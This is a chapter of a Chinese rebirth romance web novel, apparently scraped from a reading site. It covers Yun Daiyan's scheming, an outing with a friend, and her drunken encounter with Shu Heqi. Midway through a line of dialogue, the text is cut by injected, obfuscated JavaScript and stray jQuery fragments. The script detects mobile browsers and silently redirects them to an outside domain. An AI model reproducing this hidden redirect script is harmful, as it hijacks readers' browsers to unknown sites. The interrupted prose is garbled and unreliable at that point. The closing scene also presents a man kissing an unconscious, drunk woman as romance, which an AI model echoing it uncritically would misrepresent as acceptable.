默认冷灰
24号文字
方正启体

9. 点绛唇1

作者:瑶禾本书字数:K更新时间:
    “二姑娘,可是还需要晚生做一份点心?”舒鹤栖迈步入内,手里抱着书卷,看来他是要借着膳房剩余的火温读一会儿书。


    “不用,”云黛胭心虚撇开目光,“给我爹做一碗汤罢,他今夜回来没吃东西,又去书房忙了。”


    舒鹤栖将书放到一旁矮凳上,扫了一眼膳房食材,闻言道:“那便做银耳百合羹如何?”


    “随你。”云黛胭想着一会儿她也得亲自去送,便没走的打算。


    走到一旁橱架的舒鹤栖取下一小筐银耳,转过头来,见她还在,启唇道:“膳房烟火大,姑娘回房罢。待羹汤做好,晚生去送给二老爷,如何?”


    “不用了,我还有事跟父亲说。”云黛胭淡淡看了看膳房布局。


    舒鹤栖闻言,没再多说,安静俯身找出百合来,唯余衣料摩擦发出的细微窸窣声。


    云黛胭一个晃神的功夫,他的衣袖便被他用襻膊束了起来,露出一截冷白小臂。上头有些青紫伤痕,估计是挨大房厨子打时留下的旧伤。


    舒鹤栖低垂眼睫,火光在他眼下勾勒小小的一片睫影,神情淡漠而专注。


    手起刀落。


    厚重的厨刀在他手上利索翻飞,节奏从容,落刀沉重。


    眼前景色渐渐与上一世的记忆重合起来。


    云黛胭是娇生惯养长大的贵小姐,只会吃不会做,连洗菜洗衣洗碗都会泡裂手上一层皮。所以舒鹤栖结束一日上工后,还要给她弄吃的、打理家务,忙完一切才有时间读书。


    云黛胭一面是良心过意不去,一面是怕他觉得她没用把她弃掉,于是在舒鹤栖秉灯夜读时,鼓起勇气,蹑手蹑脚走到他身后,伸出那双没什么力气的手,小心翼翼搭上他的肩膀,生涩地替他揉捏。


    她的动作很轻,带着明显的讨好和试探,指尖还有一些微微发抖。


    舒鹤栖身体瞬间僵住了。


    云黛胭动作一顿,反思是自己动作太轻,正要加大力度,一只温热的手掌轻轻覆盖在她冰凉的手背上,止住了她的动作。


    他转过身,桌上昏黄的光线柔化他半张脸的清冷棱角。他看着她,一贯深邃幽暗、叫人看不出心绪的眼睛里流露出汹涌的爱怜。


    云黛胭看见倒映在他眼底的她有多不安惶恐,一时之间,她有些接受不了那样的自己。几乎本能,她后退着便要逃开,而他却抓着她的手将她拉入了怀中。


    他让她坐在他的膝上,婚后第一次那样叫她:“黛黛。”


    温热的手在她脸上流连,她后知后觉自己不知什么时候落了泪,被他一擦,说不出是因为委屈,还是羞愧,亦或是害怕,眼泪流得愈发凶。


    他好脾气地一遍遍擦拭着她的脸,直至她的情绪平稳,才开口道:“你不必如此。我既娶了你,就永远不会丢弃你。”


    “二姑娘,汤炖上了。”清冷声音响起,带着恭谦。


    云黛胭从回忆里挣回,直直地看着他。


    舒鹤栖,我没有对不起你。她一遍一遍地这样想。


    云家待他有知遇之恩,即便之后与他相依为命那段时间里,她对他有诸多拖累,但其后不久,她也用从云家学来的经商手段赚了一些银钱补贴家用,他上京赶考的盘缠便有一半来自于她。


    不过纠结上一世谁欠了谁没有意义,这一世别再纠缠就好。


    云黛胭冷漠收回目光,淡淡道:“多久能好?”


    “约莫要半个时辰。”


    “知道了。”云黛胭坐不住,站起身来,“我出去透透气,若好了出来告诉我一声。”


    她在舒鹤栖身边实是待不住,待越久,想越多。


    就这么放空脑袋在庭院里或坐或立耗着时间,舒鹤栖捧着木质托盘,抵开了膳房的门。


    早已等得焦灼的云黛胭箭步上前接过托盘,看也没看他,便转身离开。


    ……


    书房里,云颂翻动染料配方,忽闻房门被人轻叩,他头也没抬,道:“进。”


    “爹。”云黛胭进门,轻声唤道。


    方才眉目紧蹙的云颂立刻舒展:“乖囡怎么来啦?”


    “我听卓叔说爹爹回来没用晚膳便到书房忙,所以想着给爹爹送碗汤来。即便不饿,也能暖暖胃。”


    云颂乐呵呵接过:“还是乖囡知道心疼爹爹。”


    他嗅了一下,扬眉道:“鹤栖做的?”


    云黛胭一听就不乐意:“爹爹现在对他可真是熟悉,都不用尝了,闻一下就能闻出来。”


    “他炖的汤格外清。”


    云黛胭不打算和他纠结这一点,她走上前,乖巧给他捏着肩,状若无意道:“爹,什么事江叔办不来,还要您归家熬夜赶啊?”


    “你江叔去塘安采购新材料了,得个把月才能回来……”


    “我说最近怎么没在染坊瞧见江叔呢。”


    云颂笑道:“寒冬腊月草木材料难得,须得经常去南边采购呢。”


    云黛胭闻言目光一暗,上一世,就是在临近年关的冬天,父亲南下,半是为了走商,半是为了找新材。


    “下个月杏花就要开了,为父手头这批新色做出来,先给乖囡做一身漂亮衣裳,届时城南赏花,我家乖囡定然是最靓丽的小娘子。”


    云黛胭收敛心绪,双手撑在案上跟着笑:“那不成,做好了就该紧着上,商场最是要抢占先机。”


    “晚一月半月不妨事,”云颂边说边将汤饮尽,“好了乖囡,时候不早了,赶紧歇息罢。”


    “爹也是!”


    大抵云黛胭去找过云颂后不久,他便歇息了,故而第二天晨见,云颂瞧来一点也不憔悴。


    舒鹤栖也一如往常,缄默地跟上马车,给父女俩盛了新的消食汤。中午的时候,又跟云黛胭同乘一辆马车归来。


    虽然江岩不在,但云黛胭还是按部就班上午去染坊,下午去学堂。


    这日散学,顾采棠凑了过来:“有一件事我想问很久了,为什么你上午不来学堂啊,是起不来吗?”


    “我上午的时候在自家染坊。”


    顾采棠眼前一亮:“在染坊做什么呀?”


    “也没什么,就是学一学染料处理,帮着整理一下材料。”云黛胭看她兴致勃勃,问道,“你想去?”


    顾采棠亮着眸子点点头。


    “去没问题,不过配料的地方不能随意走动,你去了那里得时时刻刻跟着我。”


    “我懂我懂,染料是秘方,我绝不靠近!”


    这段时间相处下来,顾采棠格外喜欢云黛胭,而云黛胭心里也有自己的谋算,所以事事顺着她。


    至于谋算……


    自见顾采棠的第一面,她就捕捉到一个关键信息。


    那便是顾采棠的父亲督贡使来得匆忙这一点。


    上一世她从舒鹤栖那里听过,朝廷官职很少有突如其来的变动,一般委任调派的决定定下到官员领命赴职,这中间少说也有个把月,官员会提前安置家宅等一应事务。


    像顾采棠父亲这般突然的,要么是被人穿了小鞋,要么是有什么紧急事务。


    穿小鞋的都往偏僻地方贬,哪会贬到江陵这个鱼满水肥的地方?那只能是后者。


    督贡使督查税收,所以,是江陵这里出了蠹虫。


    云家这样的人家没少交钱打点,云黛胭不知道用钱多少,但如果督贡使顺着丝织业较真查下来,大伯父肯定焦头烂额。


    若他焦头烂额,那就顾不上陷害云颂了。


    云黛胭当然不怕牵连到父亲,毕竟父亲不负责云家经营相关,他手底只有丝线铺子,可那小铺子肉眼可见的刮不出来油水供养上面的大人物。


    至于一荣俱荣、一损俱损……


    云黛胭捏紧手心。


    这一世就算把云家毁掉,她也绝不容许父亲的名声再有任何污点。


    染坊中,顾采棠看着随风飘动的布料,兴奋得直打转:“你每日过得这么有意思呢!”


    云黛胭笑吟吟跟上去:“哪儿有意思了?从小到大都看腻了。”


    “自小在这儿长大,那更有意思了!你瞧瞧,这不就是个绝佳的躲猫儿场地吗?”


    云黛胭点头应是:“那的确,我小时候天天藏在这让父亲找。”


    “天天,你不上学堂呀?”顾采棠好奇问道。


    “那个时候年岁小,我又没了母亲,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414372|184682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    父亲不放心我一个人在府里,就每日把我带过来。”


    顾采棠闻言,眼圈一红:“原来你也……我母亲在我五岁时也病故,我爹既当爹又当娘将我拉扯大,原本他来此地任职,族中长辈劝他把我送去母亲娘家,他怕我受委屈,决意不肯呢。”


    这番话顾采棠是起了共鸣,正中云黛胭下怀。若非打听到顾采棠自幼丧母,她绝不会将这种伤疤揭给别人看。


    有了同样的身世,两人是越聊越投机,用罢午膳,顾采棠还没聊够,突发奇想道:“我们干脆翘了下午的课吧!”


    云黛胭桃花眼微睁:“啊?”


    一旁的舒鹤栖收拾桌子的动作也顿了一下。


    “啊什么啊,让家中奴仆去学堂说一声下午告假便是。哎!我听说城西戏楼新上了一出戏,说的是女子攀附权贵不认结发夫的故事,当真新奇,可想去看?”


    云黛胭闻言,下意识瞥了一眼舒鹤栖,却不知为何,他竟然也在看她。两人目光相撞,烫到似地齐齐躲开。


    顾采棠没发觉两人之间莫名的小火花,越说越来劲:“去不去嘛?戏楼旁边的酒坊上了一种新酒,叫踏雪寻梅,我还没尝过呢!”


    云黛胭没有拒绝的道理,偏头看向舒鹤栖:“那一会儿你去学堂帮我告个假吧。”


    舒鹤栖迟疑片刻,想说什么,却还是化成一声夹带无奈纵容的叹息:“是。”


    戏挺好看,光听宣传内容,以为讲的是女子爱慕虚荣。戏里内容实则是丈夫自私伪善,在外粉饰自己的好名声,在内冷待妻子,妻子心灰意冷欲同他和离,他反而觉醒了什么爱妻想法,死都不愿意,最后痴情权贵出手,同女主角喜结连理,而原来那大尾巴狼丈夫孤苦一生。


    顾采棠乐得前仰后合,直说最讨厌话本子里装腔作势的男主角,待女主角遍体鳞伤时突然觉悟,最气人的是女主角竟然还给机会!而今这场戏演得新奇,真是妙极妙极。


    她爽了,云黛胭是苦了。


    因为舒鹤栖既不伪善,也不是大尾巴狼,他好到无可挑剔。


    虽说上一世是上一世,这一世是这一世,但她还是不可避免地产生给他什么补偿的想法。


    ……若是补给他一个良善真诚的妻子可行吗?


    脑袋里冒着新主意的云黛胭不知不觉被顾采棠拉到一旁酒肆,延续翘课的狂欢。


    到酩酊大醉,她还在思索该给舒鹤栖挑一个什么样的人好。


    身边突然落了一道阴影,她迷迷糊糊撑起脑袋看去。


    眉眼清俊,身姿挺拔,只是眼底却翻涌着她看不懂的墨色。


    是舒鹤栖。


    云黛胭的脑袋被酒精泡得麻木,恍惚间以为自己又回到了前世,成为那个生怕行差踏错、惹他不快的妻子。


    被他撞见自己这般放浪形骸同他人饮酒,心下顿时虚得厉害。


    几乎是本能,她挣扎着坐正,一把抓住他微凉的衣襟,试图用前世百试不爽的法子来蒙混过关。


    “夫……嗝,夫君……”她仰起头,眼神迷离,声音轻糯,甜甜的,像泡在酒里的糯圆子,“你别、你别生气,我就喝了一点点。”


    说着,她起身,凭着记忆里的感觉,精准地吻住那两片总是紧紧抿着,薄而凉的唇。


    一枚讨好试探的甜吻。


    舒鹤栖垂睫看她在他唇上吸啄,无悲无喜的目光渐渐渲染上如潮般的悲伤,而后便是绝望至极的平静。


    他扶住亲了一口便失去意识的云黛胭,任由她软绵绵的身子偎在他怀里。


    “黛黛,你也回来了,对不对?”


    怀里的人砸了一下嘴,揪着他的衣领调整到自己舒服的姿势。


    他宛如自语:“但是,回来了,你也不想再跟我了,是不是?”


    就在这时,旁边醉趴着的顾采棠突然毫无征兆地坐了起来,眼神空洞,茫然地看了看贴在一起的两个人。


    舒鹤栖轻飘飘地看了她一眼,收回视线,带着所有挣扎哀痛的目光再度落到怀里熟睡的人脸上。


    挺直的脊背犹如被雪压弯的青竹,薄冷的唇重新贴上满是酒香的唇。


    碾弄,攫取,交缠。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)